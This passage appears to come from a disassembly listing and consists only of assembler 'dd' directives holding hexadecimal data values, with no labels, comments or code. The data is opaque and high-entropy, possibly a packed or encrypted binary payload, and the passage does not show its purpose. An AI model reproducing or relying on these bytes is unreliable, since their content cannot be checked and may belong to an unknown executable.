		dd 16042D76h, 10A36B75h, 5AFD7010h, 7DC84CCBh, 182F87C0h
		dd 60FC25E0h, 0C15F0CE6h, 84FCE8D8h, 0F56EC403h, 140F75C3h
		dd 14A56A09h, 0D1F1A202h, 74F0C9FFh, 0F46C2F02h, 0D1F6C743h
		dd 18F3793Ch, 0BCC0976Fh, 0AA279369h, 0F02C2C96h, 36058CF4h
		dd 22EFCA68h, 0A6B020ECh, 0C100682Eh, 0C7EB8F76h, 300BDB2Dh
		dd 0DCF85EFDh, 0E795B391h, 6088444Ch, 7DB0146h,	0A7310B3Ch
		dd 0BBF5B4BAh, 305EA422h, 7A071F3Ch, 0CFE326F5h, 80EE8832h
		dd 53EF6E0h, 3F721224h,	0DFECE48Eh, 0CFA5A300h,	688E760h
		dd 9EC13FCBh, 2EB6D300h, 6ED22FF7h, 0C8845F28h,	3864D0C7h
		dd 0FCD10132h, 0AC70D604h, 1A81071Dh, 9794B0AFh, 86422B9Bh
		dd 513021C0h, 2CE0187Bh, 77944D3h, 0A230157Ch, 0EC7C0F10h
		dd 4807A385h, 494F2CA0h, 0AD0004EBh, 0D5411CEFh, 0B4F08644h
		dd 0BB8F7D04h, 30BAA17Ch, 0EF626750h, 78098E5Bh, 0E410E53Ah
		dd 31BB61F3h, 4F87F7E0h, 0C838CE07h, 0BDE3C082h, 0F03F4D8h
		dd 0DB534031h, 0B0BCC44Fh, 4398C624h, 52F1F301h, 97C0ADD0h
		dd 9FF59164h, 440D7602h, 71185EE8h, 6EAA14B8h, 0AD620090h
		dd 8E395545h, 0A0630044h, 4A945FA7h, 0B11CC679h, 0CC5703FCh
		dd 3A802C9Eh, 0CA5317ABh, 0A9249D7Dh, 600010BAh, 12646257h
		dd 170C1263h, 8178E8F3h, 6C1F5A69h, 0DB548C2Eh,	83A6F8BEh
		dd 3B8F2F1Ch, 0B800FE5h, 0C4E0C711h, 0FD3360F8h, 0D16F02E6h
		dd 0D65B4945h, 632290AFh, 7CDA965Eh, 0B002A020h, 0A5408156h
		dd 6018D433h, 2C4F2010h, 68C719CBh, 0D95F90h, 0A1BA74D5h
		dd 0FF2DE939h, 84E33B20h, 7CA44528h, 8CC0BC98h,	8803BFE4h
		dd 21D7919Bh, 0C105D29Fh, 598FE054h, 25010A8Fh,	4CFF06ADh
		dd 3A2F07ECh, 5CE84A13h, 0C04DAD2Ch, 0AE64ECE0h, 0BFE80074h
		dd 9B922DB8h, 0A80948Eh, 0B6414BFEh, 5560E768h,	13FFE8B0h
		dd 0E50D6D8h, 94483A08h, 0B6C5C3Bh, 59B4F5B3h, 197CF184h
		dd 971EE4C0h, 0C6012046h, 25D8A294h, 0CC306FC0h, 808E243Eh
		dd 0FB058348h, 5EA810CFh, 96F821E2h, 0F7CB500Bh, 4A0C70BAh
		dd 7B1C42C8h, 1C5E98EAh, 9B4E2411h, 0F0FE8128h,	3C20FDF8h
		dd 0A8F96068h, 9216E225h, 0A58E7404h, 68A9D757h, 163F25B8h
		dd 93F20F9Ch, 88B0B822h, 38CC7AE3h, 0C24B836Ch,	0D076211Ch
		dd 3530D380h, 0B2CA6BF0h, 0E8809520h, 0BB938C5Fh, 4116D839h
		dd 61DC202Ah, 9E001CB0h, 1E06FC7Ah, 396E003h, 9B8A08FFh
		dd 487BA012h, 453E9D25h, 60F6E42Ch, 0B0A30265h,	642E5CDDh
		dd 0D8204E2Fh, 40BFB311h, 36ECDA1Eh, 0F40950DFh, 8B80536Bh
		dd 7884B43Ch, 0C8B812D6h, 0DD5FFC04h, 2853EB5Ah, 99B8F0A9h
		dd 7323Ch, 0CEF1D286h, 3CB3B26h, 0C7A7803Ch, 669A3ADDh
		dd 46765C74h, 7330089h,	0D7E80D50h, 39D412E7h, 0B2C4E33Dh
		dd 0FF9530BCh, 9DD9D2Fh, 0DC9474EAh, 7DDC8C0Bh,	3D9C0089h
		dd 1675D2E1h, 4B73D461h, 50DAF864h, 0B4DCF105h,	0DCE23F27h
		dd 0E030F6F2h, 4ED476D1h
		dd 8D4488F1h, 56908454h, 882B7C00h, 0F1C130EBh,	9C1C0073h
		dd 0EDE075C4h, 0D44FFEAAh, 434F24A4h, 0CEE050C1h, 5FB37A40h
		dd 4F7892F1h, 7080785Ch, 348D7CECh, 2E1C025Bh, 0C0C3E65Fh
		dd 0D100845Dh, 886BAEh,	0E0075985h, 0BF2523D5h,	7D099400h
		dd 56FA45F3h, 36744713h, 0BFBCB0BCh, 102DD8Ch, 5C5DF94Dh
		dd 58923E7Eh, 201D2942h, 5781F411h, 3E2B675Bh, 0E8189054h
		dd 0CB008C83h, 51980701h, 0A9665D0h, 0B6C7A886h, 7C803B60h
		dd 97D9227Dh, 87001080h, 2DD07019h, 0AF59646h, 0D40FFBFAh
		dd 0B47827E0h, 0C064ED97h, 302D97FCh, 0F5182710h, 0C878A125h
		dd 0B2703753h, 0F198307Ah, 961A9316h, 0ED3F8C20h, 5D6D2563h
		dd 56ACF4CBh, 0BAE19845h, 35E4C98h, 3FD0539h, 0E813CDBBh
		dd 3CA224EDh, 0D833230Ch, 0D0053F18h, 0FA7BF034h, 0A5E14091h
		dd 0EC80D050h, 0A668D629h, 0A78CF0F8h, 2B023ACFh, 5F5C1001h
		dd 3F71E8C7h, 0BE230C3Bh, 3C4D3D00h, 12A659B3h,	0B29EF1D4h
		dd 30B8F2FCh, 3025B42Ah, 0A1ECCB58h, 0C03E3B5Ah, 7FEC3824h
		dd 0E6D990A8h, 0CDBFF92Dh, 0F28EC0F0h, 820EF38Ch, 793F4ACh
		dd 54800B1Fh, 59FD6C92h, 0D6BCC426h, 4CE0E612h,	0F612FC8Eh
		dd 23403FB9h, 0E8D10082h, 5326B183h, 433F03Ch, 0A3EF9DCCh
		dd 0E2D704BCh, 30BBF2E0h, 0AAEA9362h, 33420709h, 57D8627Eh
		dd 62697010h, 18902333h, 0B983A97Ah, 887CDB04h,	3C37C08Bh
		dd 0F750BCB5h, 0CC9CC6CAh, 95419080h, 4ED1455Bh, 93549BF6h
		dd 0FEB49104h, 6B23FCE2h, 83BB4D07h, 0D4CE5D40h, 0E1C80612h
		dd 0D0844B59h, 39725A30h, 0C547F4h, 0B681F332h,	0ED4F7C22h
		dd 60379Dh, 0AFBBD01Eh,	484E0F2Eh, 9B676807h, 9BF078C9h
		dd 555B78F8h, 13CFAF02h, 5E3026D0h, 9BF10764h, 7B582DB6h
		dd 1904423h, 0F208CE1Eh, 0EC93DA02h, 0D709D180h, 0F1F0C925h
		dd 19877930h, 0B3085D4h, 824F3A67h, 8B11B49Fh, 0F377009Ch
		dd 0DC481C9h, 73620F0Ch, 0F8805076h, 3090B7E5h,	0B9838FDFh
		dd 32FFA50h, 828ED31Ch,	1EA35100h, 7CFD28Bh, 9FFA8Ch, 322ABB14h
		dd 0FD8F25B2h, 906E274Eh, 7B1FDF3Ch, 984E0F7Fh,	0B4C65462h
		dd 2426C8A0h, 0D503E55Eh, 2B13B6B3h, 4E96C8ABh,	0C7F93D45h
		dd 0B1729E0h, 0FE75C035h, 0A5C40803h, 0E03A6459h, 5FC9C62Ch
		dd 0C8408FA9h, 1FFC088h, 0ED9F1AACh, 0BC2BC1E4h, 40D9FAAFh
		dd 2EF79CBFh, 0D5F1D780h, 414FA2B4h, 0E14BF4E3h, 0E5EBF00h
		dd 9CB6C9FFh, 8BAB0B95h, 0F93533h, 0C118FAD9h, 5751AD00h
		dd 0B1E85E05h, 0E4909FBDh, 0EA165573h, 2BF47ABh, 18442512h
		dd 75003876h, 0EBFF9F95h, 0FDA5A1Ah, 92283244h,	0E326F404h
		dd 39DC888Ch, 9B83F9EEh, 4E9A8260h, 0C8AE90A8h,	0A2DEF7Ah
		dd 88E0C3A6h, 0FE646EB7h, 0B997176Bh, 0F030E6DBh, 0F15A59h
		dd 0EF91B3D6h, 0A893F3C8h, 0A942613h, 9B990801h, 60099FE2h
		dd 4F5963Ch, 2F4FC8F3h,	17E2320h, 0ED509152h, 80ECCD51h
		dd 0D128B399h, 14B711h,	0EFB9A27Ah, 0E3D5D9E0h,	5F1098BDh
		dd 2B64009Bh, 3A70D691h, 71099ADAh, 74CDFFECh, 0F9467668h
		dd 9BF31Eh, 0E1C38099h,	22F08FF7h, 175C794Dh, 0F0A26F14h
		dd 9BB8C4h, 3AB4A02Fh, 0D01EBD82h, 0B5FC044h, 851B4269h
		dd 8C11581Fh, 2F69DB81h, 0D8C8C8F7h, 0ED6BA0Bh,	0E724403Ch
		dd 0DEA55BC1h, 30E3C3B0h, 0B4B9C899h, 0F1276BF6h, 81E4AC65h
		dd 9AAFC060h, 3058F6E2h, 23FB09A8h, 0B9CCF037h,	0E1003DCCh
		dd 0A09FB284h, 4900AE68h, 4CA7BF3Dh, 4838617h, 9723F52Ch
		dd 3423FED8h, 9B695FB8h, 0D7DF8078h, 396D3044h,	0A32A9BF2h
		dd 0CFCC5EF4h, 0C08C884Ch, 157EDC1Eh, 254C39ECh, 0B53100AFh
		dd 1FF76C48h, 797A2411h, 24F4220h, 0B444F8D2h, 670D000Eh
		dd 80132835h, 3E00E5E0h, 44961BEFh, 272AA5FFh, 18F19A2Bh
		dd 1303FA8Fh, 916B7CE0h, 0A2D1972Ch, 0EEF80090h, 638C1779h
		dd 864D00B9h, 99C2C607h, 0F1099043h, 0F6825A73h, 40F452F4h
		dd 0B7F8001h, 0DB2B41FEh, 0B4A08AF8h, 0DA5DA73Fh, 3E6D5BC8h
		dd 1F223BCh, 0D3634426h, 980B7AF6h, 0A3D8D3E1h,	985258DCh
		dd 93163502h, 0DE2DC210h, 0B0412B0h, 0AC18B6A8h, 54003E36h
		dd 70B0D54Fh, 0C07C0F61h, 5C316890h, 209F33EDh,	0E2EFD0ECh
		dd 684DB5C8h, 5058A7C0h, 97C0B242h, 0CED06Dh, 0EFB17802h
		dd 0E625A73h, 0F324FAC8h, 5C02BBB3h, 0D972553Ch, 187E7978h
		dd 8C9E0481h, 0EBC6EE2Ch, 0CCC11434h, 8B44AEDCh, 690B8CFDh
		dd 3870835Ah, 20BC5749h, 939A2D6Bh, 249D14A9h, 72838311h
		dd 0D7B044C3h, 0F31DED1Fh, 308411CEh, 12FE766Ch, 0B8D0B82Ch
		dd 0FE168C87h, 0D8046F57h, 2B0472E7h, 0B4DCE76Dh, 646DCE82h
		dd 950A5AC4h, 0A16F04C8h, 80D4DB0Fh, 0CCF95EE5h, 73950569h
		dd 0E9AC7BF3h, 0B8A89010h, 0EC0B8C7Dh, 621F1CBEh, 6C37DDBCh
		dd 9D73D400h, 4F42673Eh, 49CE033h, 0CC8C75Bh, 0AA690282h
		dd 76D4C987h, 758FA5C0h, 9EE8C13Fh, 0BE807908h,	0C2382EC7h
		dd 0A7B401E7h, 3408C89h, 0C2083871h, 380875Ah, 0C90F7659h
		dd 0E6EDFFDBh, 766581Ah, 0B28C0D73h, 813A40F1h,	45ED61Dh
		dd 0DA6B58DDh, 834C8090h, 0E6EAB97Ah, 80817C8Eh, 0C01BEBBh
		dd 0B39C3D5h, 8BC87ED9h, 486DFAABh, 0CC43B8DBh,	0A13082A2h
		dd 0BC7D0016h, 2A07CD1h, 7B129812h, 0A010A246h,	80845CC2h
		dd 9A17F0AFh, 69F72605h, 0DC160BF5h, 0CD65076h,	0E94FB85Eh
		dd 5AEEDA59h, 0E14DB400h, 0E73AD461h, 54C99F7Eh, 0F0621273h
		dd 8E260FF4h, 0C93616B1h, 0C0CB3BA8h, 90C0BEC8h, 12B6E36h
		dd 75C5E5A8h, 0F2FDA39Dh, 84430040h, 54F3280h, 880F2DE2h
		dd 0D421BEF2h, 0A450745Bh, 30E71Fh, 8A65045Dh, 79C22939h
		dd 9D62A16h, 8BE840A8h,	54403C8Ch, 71C58086h, 7C4440C8h
		dd 7B1750Bh, 427B93E5h,	3DE1708Ch, 0A4B9CA03h, 0C41882D1h
		dd 0EA6B4D00h, 460BD4C8h, 0E0924F15h, 0B686B764h, 40E1D4B0h
		dd 1B7D9DAEh, 3CB0074Bh, 9CAC4497h, 5B27F53Ah, 0F89C08DBh
		dd 0CEDF320Bh, 78002074h, 0ED3FACB4h, 84685D2Ah, 2BBC904Dh
		dd 48506525h, 1CA3124h,	7BAF4B72h, 78B7F2D8h, 4AD43F78h
		dd 895F38B0h, 4E846CA3h, 6CA060F7h, 0F600FCACh,	21B83532h
		dd 25691586h, 3478DB62h, 0C5E7CC03h, 0A98CC9D1h, 5CDA34CFh
		dd 901FD6B0h, 0D10136A6h, 27303E83h, 0E774407Bh, 5019C0A1h
		dd 0AF062106h, 1538E69Ah, 0C0EB6475h, 0F426A706h, 4F2DE8FEh
		dd 11D49F1Eh, 0F48880FAh, 2B39375h, 5DDDD715h, 0C32EB7C7h
		dd 2184F6h, 0B4A56E78h,	0C48043FEh, 44034901h, 9EF2338Ch
		dd 9440163Ah, 0E0A4F6A8h, 12CE38FBh, 0E4F1302Eh, 4CBCCA80h
		dd 0EFBAF703h, 0CD32F038h, 883E2F9Ch, 90926867h, 55B0F4B7h
		dd 669FC1EFh, 648F5CD8h, 0A31F9E20h, 67276827h,	618364BCh
		dd 1F0E6FBh, 0D59100FDh, 7465D2Bh, 7E5BA342h, 670404F7h
		dd 57A5F3Ah, 88ED80h, 5FBE69Ch,	8135044Ch, 27C8ADE8h, 0C76C61DAh
		dd 89EC902Ah, 8E007F1Fh, 646015F3h, 1770089Ah, 0A3851693h
		dd 30C0B2D4h, 0FF734D36h, 5D05977Ah, 28B4CED7h,	40D398A0h
		dd 2D05F285h, 0A64C90BCh, 256484C0h, 799D3D45h,	31966900h
		dd 0C09A60FFh, 0C1D5E701h, 0A14C599Ch, 0B9CEE060h, 18BBD198h
		dd 4D6E02B2h, 0B2A07E8h, 795A4CE8h, 13AEC0A8h, 3C839300h
		dd 2FCD751Dh, 7C0C000Eh, 0CBA7A641h, 0F70817EFh, 962B2374h
		dd 0C86C8B3Dh, 5BD6C9C1h, 15D77D00h, 99FF4D0h, 0CBEBA317h
		dd 732D80FCh, 23267030h, 7003C9E4h, 64D8F909h, 4849D093h
		dd 989605CCh, 0BA9C7C4Fh, 0BF00E07Ah, 5A3D625Eh, 0A10E6C5Fh
		dd 22D12E88h, 48967BF1h, 2F272D18h, 28270D7Ch, 0F7194C46h
		dd 0A0031F25h, 1BFD6608h, 948B9547h, 9A7C3446h,	18D33335h
		dd 0A6F474BEh, 3AD9A0ECh, 68700E62h, 0BC0F97Dh,	35074730h
		dd 2E638490h, 0C56B5D10h, 23482FEBh, 0A0FA008Bh, 15AE5F25h
		dd 1448995Ch, 62588FCFh, 10833310h, 0E900BD8Bh,	8907D128h
		dd 0DD17918Dh, 5C85430Ch, 0E9E1D53Fh, 201C312h,	0B3CFA783h
		dd 0A6F83CCCh, 7E5600FFh, 0ACA2F840h, 0B7076AEEh, 0F05C083h
		dd 0BF90FB50h, 3D3777C9h, 80185007h, 0F98B4B02h, 8D1909FEh
		dd 6A720C51h, 56040CC3h, 202703E8h, 1C35E39h, 4247489h
		dd 8984481h, 5646211Bh,	13EC300h, 0C5722948h, 0C8A56288h
		dd 66033275h, 9D12D2BFh, 8F1A112Fh, 78D4C0BCh, 16BB14h
		dd 13D68166h, 0E195FF28h, 505E1D50h, 58392DA4h,	448911C3h
		dd 40801888h, 83F1C350h, 0DEF2025Bh, 22E1B58Bh,	669DBDA0h
		dd 42EDD4D5h, 90A3C9CFh, 8590D3FFh, 3AA12921h, 725B1853h
		dd 5C8921C3h, 5343C3h, 9A669920h, 6DCE98Dh, 23E81ACDh
		dd 842A5DC1h, 98FC50E1h, 78C15E8h, 9501FE14h, 81A8EC6Dh
		dd 2067BD78h, 2A8CD00Ch, 0EF86370Fh, 7DBDE137h,	8B208313h
		dd 7C1F459Dh, 1CC5330Dh, 2A70E345h, 1851E3A9h, 23C37259h
		dd 14114C89h, 0C3514100h, 0B98589D8h, 0B500161h, 66E10FDBh
		dd 316C25B1h, 891DA811h, 0F8832140h, 873D51EDh,	1084B688h
		dd 0E158899Fh, 0D452E927h, 0C6020F17h, 85C746CBh, 3011D85h
		dd 1AF1B533h, 0C8383522h, 5AC352D0h, 548991C3h,	42844B23h
		dd 7D1E8052h, 0B00E099h, 0DE819ABEh, 52549563h,	88703D5Ah
		dd 6D24B503h, 0B2A1302Fh, 0CDBD3182h, 0FF232114h, 9B9CCBFEh
		dd 0B0BBC395h, 8B75E0CBh, 14019842h, 0B68C66F7h, 0F6F90A76h
		dd 11A304C3h, 0FA8B1237h, 0CCC5A40Ah, 0E990F885h, 35C1B220h
		dd 0D59C003Dh, 464878E8h, 4013120Fh, 9A0EE94Ch,	2D0B8C50h
		dd 0CA4B0085h, 84546A8Dh, 8713F8CBh, 60E90D6h, 0E91A3015h
		dd 0B40D366h, 0B0542F7Bh, 0FA02C7DAh, 0E470E6C5h, 44E74771h
		dd 6B36601Ch, 60AF00D9h, 966D323Eh, 0B505BE66h,	0D8B60F98h
		dd 1823F43Ah, 7400A1Fh,	0BD23CEB4h, 8E24E325h, 16DD20B5h
		dd 719D2928h, 3F06BA30h, 0CF13E860h, 64A0B40Dh,	8B3E4BC9h
		dd 0E5161D00h, 0B194D460h, 41B75C82h, 5953AE00h, 0C38B615Fh
		dd 16C456A5h, 0F3760660h, 2069A8C4h, 4E8C103h, 0E574E23h
		dd 8944C35Fh, 2017627Ch, 5C35747h, 0FC189917h, 0A1D95B00h
		dd 61958920h, 0F7665B59h, 0D82BFCE2h, 9D2CBB92h, 8C1432ABh
		dd 16F4C34h, 241C89FAh,	4332B5FFh, 61559064h, 89C8C35Dh
		dd 4500876Ch, 801CC355h, 58394851h, 4AA1E178h, 1816716Dh
		dd 82A30927h, 400AFB8Bh, 13D10851h, 4F854128h, 646015C4h
		dd 0F7488BB9h, 0DF884060h, 3CAA7301h, 0EA830F61h, 2E0B9E35h
		dd 6BC11A88h, 1DF49F67h, 894E09A9h, 442AC1B5h, 11C7A46Dh
		dd 82020005h, 0F5589C2Ah, 0B55F485Eh, 34FEB212h, 885CCE4Dh
		dd 0CB41C016h, 952E0907h, 0E6B05129h, 90A6DBCFh, 0D1599159h
		dd 9DCC1918h, 8FE724F4h, 0F6818055h, 7F0D82C7h,	24D7094Ch
		dd 3693718h, 93179FAh, 0B093BE13h, 203A400Ah, 2033986Fh
		dd 58052DBDh, 16059529h, 41396888h, 88378521h, 8A3E011Eh
		dd 32001723h, 0FA89780h, 0B9F21CBFh, 0F1F32907h, 0E2181Dh
		dd 8E5A4984h, 0E302B385h, 0FE098BF0h, 90870F60h, 0C00EE926h
		dd 0B8E6C90Bh, 19000201h, 94A6122Dh, 0BADC176Bh, 24752068h
		dd 0F99C6150h, 50831B40h, 209D93C1h, 3B2E0925h,	981108D9h
		dd 1018032Eh, 7F1F4C1Dh, 17D14799h, 9D139718h, 3022D9Bh
		dd 0C9C1F6F3h, 0FC125C3Eh, 0CF813DCCh, 5BD552D5h, 1B4401C7h
		dd 58A0A860h, 933BDDFEh, 642BBDAEh, 84100E59h, 0B0C9910h
		dd 9108343Dh, 0F9111286h, 405C72E9h, 1B505592h,	55A1994Fh
		dd 3D1C88C0h, 0D866B208h, 14444667h, 0D140EB62h, 60483925h
		dd 19C03CA9h, 0C17261E7h, 0C297FACh, 0DD0C1EA9h, 788C2309h
		dd 53861B8Bh, 14A23A92h, 0F284031h, 145F85E1h, 19236B2Eh
		dd 0DB640900h, 35F04AD2h, 0CE6385FFh, 0C3178869h, 3B828F8Dh
		dd 59D5CE98h, 666FB700h, 56B2BB80h, 2875008Bh, 0C9D18EEEh
		dd 532C0E1Eh, 6CCA3B38h, 26307508h, 0F7E9C622h,	110187B0h
		dd 98F8E689h, 75299047h, 0F581CBB8h, 0BD82D855h, 11CF9DF0h
		dd 0C2FF8216h, 4486476Ch, 0FC26601Ah, 773F0993h, 882BB9Dh
		dd 0DC642571h, 0F542EF62h, 9D5F4860h, 260349C9h, 0BD16C131h
		dd 2E4B38A9h, 7A41F2E8h, 5FF00CF9h, 0E50A1F31h,	5B69872Ch
		dd 2B371B61h, 97E3428Fh, 8209D31Fh, 0F1A5846Ch,	148838CEh
		dd 0BD0B42CFh, 4AF7AC91h, 453898FAh, 77F40C18h,	0DD86600h
		dd 0F96EB4Fh, 371FB181h, 3182080Ch, 482BE1BDh, 71F92A12h
		dd 758DA0FFh, 8596A42Fh, 6019C456h, 64C30E8h, 0E94B6D79h
		dd 51001D11h, 4029A2Dh,	0E8CCBFh, 0AF1B6D09h, 43A90852h
		dd 50EBFB3Fh, 1CA0E850h, 921C4703h, 7A807EB7h, 81C01BF0h
		dd 2267684h, 600DCB17h,	0A32008E9h, 3A6C201Eh, 0AFB1B8FDh
		dd 115EDD2h, 0D2235F61h, 85301DA2h, 13570010h, 1F7E4FDAh
		dd 0BFA1CFC4h, 0B5331006h, 0A7104C65h, 0F4315984h, 0BFBA6174h
		dd 1946504Ah, 0B1262404h, 6F943500h, 7E6D16A2h,	45AB10ABh
		dd 1428905Ch, 982C22Ch,	0EA71D548h, 65181AD1h, 9DFDDB02h
		dd 409B1B39h, 821CC1B6h, 12C4C670h, 90000EF1h, 0C4CDB7BFh
		dd 22EB6748h, 86A60009h, 3C862D4h, 4E4899F3h, 56F90AC3h
		dd 4724CB5Fh, 9958985h,	1D279D5Eh, 801D11C6h, 7CE6D53Ah
		dd 14D401E0h, 0E8166FE7h, 84401705h, 98ACBB5Ah,	8FD70D15h
		dd 35C55E52h, 0D3BD38D0h, 2D6DAA04h, 18639DF7h,	31003305h
		dd 22E781D3h, 9E35395Dh, 1C46D6A3h, 5FD9FB00h, 50329321h
		dd 89AEC504h, 1790B1B5h, 9E0894E9h, 481358ADh, 0E78A7182h
		dd 850DBC4Dh, 29161891h, 0BB2FF608h, 0CE019112h, 0C018C863h
		dd 0E55827EDh, 4222725Ch, 0BE660491h, 0B4F3DA4Fh, 9EF28650h
		dd 4CC89195h, 8C1DE807h, 77FE1901h, 2C819812h, 4A92B1FCh
		dd 0A52541E8h, 0F83F8D91h, 0D200F689h, 9548BD17h, 775FAE03h
		dd 46782783h, 0C22EC291h, 0D4D0675Bh, 7221D4Ah,	1F924B2h
		dd 0E9AE0ABFh, 8B1B3878h, 3B7A88F1h, 463F0117h,	64001823h
		dd 61FD1712h, 8DB52723h, 5201BD87h, 0E90332CDh,	0E8332C3Ah
		dd 7A804912h, 14A51A67h, 0C01ED658h, 0EE434644h, 526A7CB7h
		dd 8A70545Fh, 0AF00D8D1h, 39EF1924h, 70A80065h,	8C3C4B17h
		dd 3F04954Ch, 8DDDD959h, 0A52C2A8Dh, 35DB5A74h,	0CDA60607h
		dd 8C7F2316h, 0D5780393h, 0E7C1009Dh, 3994BC32h, 0AB4104Ch
		dd 0B42A4646h, 2074DED3h, 0C1E9705h, 0E209DAC4h, 0A0F046F8h
		dd 8110E577h, 0D0782090h, 2950093Bh, 0C381AF56h, 135E8F2Bh
		dd 0EAD376C5h, 7B79CABAh, 0BAE700Ah, 78C05C00h,	6B4509F0h
		dd 0D92491B0h, 0E3181Dh, 9C4DC455h, 61C232C5h, 70E68113h
		dd 41801E9Bh, 0E463238Ch, 0BC82714Dh, 0E5BC0059h, 0AFF76AAEh
		dd 79ED6BEh, 7E126017h,	0E201261Fh, 617F14D7h, 2C15C041h
		dd 3A965369h, 1C235Fh
		dd 0A8EB59D1h, 6C00EF46h, 32BE58A2h, 26211A1Fh,	0DE0CC38Bh
		dd 4DFC6801h, 0F3BB9F64h, 41D97A20h, 9D853005h,	2496AD4Dh
		dd 1259929h, 820F618Dh,	0BF025D62h, 4BFF650Dh, 8F997CD0h
		dd 641818D1h, 59327209h, 2B3BE096h, 781993D8h, 52005D54h
		dd 83130EDEh, 94FCA3Dh,	10419501h, 7216C544h, 9382501Eh
		dd 7CCD90E9h, 56520BC5h, 9E4EB96Bh, 1B444585h, 0E4142360h
		dd 607F602h, 0E0515C35h, 8113F1C8h, 0D4AA695Fh,	8C1BB847h
		dd 8B2D4800h, 7350B09Ah, 77667786h, 0D93291FBh,	1F0181Bh
		dd 0CCAA8D8Ah, 20E4CD65h, 0B90FE6Ah, 242D752Dh,	0A083F5D6h
		dd 0EAADDA8Bh, 27B97A28h, 0EDBD029Eh, 18398802h, 0C0A94A9Ch
		dd 91211D7Eh, 0B96D699Eh, 5160DB42h, 0B88100F9h, 3EC07292h
		dd 380B88E8h, 40D8AA91h, 0C3E285B7h, 5661F6F8h,	27558610h
		dd 28B45F24h, 33E145EAh, 7F8201E7h, 5F2E4145h, 79D8CAF8h
		dd 772A1E61h, 91F6F9Eh,	48811511h, 0A88A0F99h, 2B09B815h
		dd 2C0E11A7h, 5A85A295h, 9BB15623h, 592180F4h, 0A0F5299Bh
		dd 812A69F7h, 0F0B87658h, 31B4B07Eh, 0A54E8BF1h, 0B5670707h
		dd 6B32065h, 35A68521h,	517465Ch, 16C279ABh, 0FA3A68C1h
		dd 0E88B076Ch, 0E47FA8E8h, 0D038B371h, 669B002Fh, 0C4EE3E64h
		dd 0A221286Ch, 1E5D20A0h, 0C1835E14h, 8C16BC47h, 0B57F3216h
		dd 5B18ED93h, 96D6EDBh,	68E9E2F0h, 1699954h, 91572E89h
		dd 8B40906Fh, 0B75F1F2h, 0C71842F9h, 62194421h,	0D7016030h
		dd 0B6FCF051h, 27934618h, 873795h, 0BD2999D4h, 0F5813191h
		dd 5B2C4B76h, 0E601DE56h, 0C674F779h, 0A691BAA2h, 0F28B0402h
		dd 0EEC0C32Bh, 0B65877E7h, 292CC635h, 1DC1C9Ch,	684AFAB8h
		dd 41E96594h, 0E1B50326h, 0D4066C19h, 8C1CB8EFh, 0E6AE2900h
		dd 7A496487h, 410C5B92h, 0BD95896Dh, 4A466D06h,	313D5F90h
		dd 6E1C4AE2h, 64690019h, 0D219113Bh, 8D890A30h,	49622D99h
		dd 758043B5h, 0EEAD8B2Eh, 26D824F9h, 233909FAh,	85428473h
		dd 81CB2E17h, 34902598h, 986EFC2Dh, 5A95295Fh, 64A313F5h
		dd 0CA4ED4CAh, 0DA6A4FA2h, 22233D00h, 0CCCDDD66h, 0F920EF98h
		dd 6E905F28h, 0C925032Ah, 0A1C4912Ah, 4D4EA6Bh,	0D58D1609h
		dd 0C8C8CE1Ah, 6D5CC01Ch, 3C040F10h, 51D5F790h,	0D4BD5DC3h
		dd 2F0CE806h, 590762FCh, 72D2F326h, 19928407h, 0F90EE188h
		dd 40CDDB60h, 8AB15E24h, 0DC729D8Eh, 54E1DD80h,	740F795h
		dd 37539BFBh, 92235568h, 0BF0711C8h, 3467F20h, 0AE93051h
		dd 44357E45h, 4008F301h, 0B86224A2h, 4986042Ah,	10A8B11Dh
		dd 0B575181h, 316B86B8h, 55D1048Bh, 0FA8B3459h,	818065D1h
		dd 0AF41CAF7h, 78A99B14h, 23092735h, 0D329B1B5h, 41F9D15Fh
		dd 30D46EB5h, 0B005EE36h, 0B8B0F33h, 10D65400h,	198F84h
		dd 0E39073BEh, 0F772E903h, 0E8C5FF71h, 65B332E1h, 0D7F16643h
		dd 0D74B6C2Ah, 1723BA2Fh, 718B7202h, 0CD7A4066h, 0EB0DB618h
		dd 0D000C0B7h, 0B47F2BD3h, 320F0566h, 0B550B514h, 1675D82Fh
		dd 601C448Dh, 2099B79h,	5B3892CEh, 7502EB91h, 0F9D1D121h
		dd 15E1818h, 2F9D03F2h,	3A06890Fh, 1AD9321h, 3BA48F48h
		dd 0B97CD552h, 0D60926Dh, 6106C159h, 594168FDh,	4808BCF8h
		dd 23059AAEh, 0E89031h,	4462B844h, 5EFC38B6h, 4B96507Eh
		dd 74991DCh, 0A9CFFB84h, 4CD0A458h, 8C16F89Dh, 5B0DD23Ah
		dd 9DC15135h, 5E022D65h, 0B7A753D9h, 0A1CD0029h, 0BF923343h
		dd 63691902h, 0B7D3FF75h, 0EC2C8083h, 522D593Bh, 60DF0E05h
		dd 24C2D48Ah, 6D274061h, 9BD38232h, 0E65988ABh,	3BF8CFC4h
		dd 7B0B8ABBh, 0F260B403h, 0E92D40D4h, 499B9C37h, 2C5934AEh
		dd 1813E4BCh, 0DA023F61h, 40DE5F10h, 80177D58h,	0BFBE8D0Fh
		dd 0A3258C44h, 7644CFD1h, 388084DEh, 66E2FD9Eh,	0F61703F8h
		dd 3D04B8E4h, 1F5219F9h, 0C6966040h, 0B790240h,	0B6877421h
		dd 0F3B769D1h, 423FB880h, 5BF7BEDEh, 89F04DA3h,	536E3A25h
		dd 8FC3500h, 0BD833F23h, 0D7B650F0h, 0AF284146h, 6CB040A8h
		dd 4769E96Dh, 0E0484D14h, 0C7E9CDA8h, 469C856Bh, 0B52B0AEAh
		dd 91B90FD1h, 85290B14h, 1BDCA811h, 4B48114Eh, 8D92EC0Ah
		dd 8A0F62D8h, 807CD992h, 0ACE22913h, 232B2BD7h,	293E0215h
		dd 3274800Fh, 122D196Ah, 556982C8h, 0A9440B2Eh,	27895B44h
		dd 0D409EDB5h, 0B79F3F46h, 8DCF00B7h, 5599F81Dh, 50163271h
		dd 6B535F52h, 584E376Fh, 0A9BD46DAh, 2789A3BEh,	80743D04h
		dd 564EB263h, 0CC01C97Fh, 0C86461BEh, 6F6BB074h, 79671D34h
		dd 34EE6E41h, 72606D74h, 1B9A9FFEh, 476FE16Dh, 6E0324Ah
		dd 5482D9Fh, 59B501E5h,	215BE425h, 0B6C9164Eh, 3185F501h
		dd 18B8A46Dh, 0FCF9E68Ch, 1C60E62Ch, 4107CF81h,	0CE802B4Ah
		dd 51F3F86h, 62BFB44Eh,	0CA459529h, 798F8262h, 1961071Ch
		dd 0DC54EAE2h, 0B84C1FDCh, 849CECB7h, 0F0CE7E1Ch, 8D1129E7h
		dd 9E942E69h, 78C19B8h,	7384BCC2h, 8D3121FAh, 0A90B2EBDh
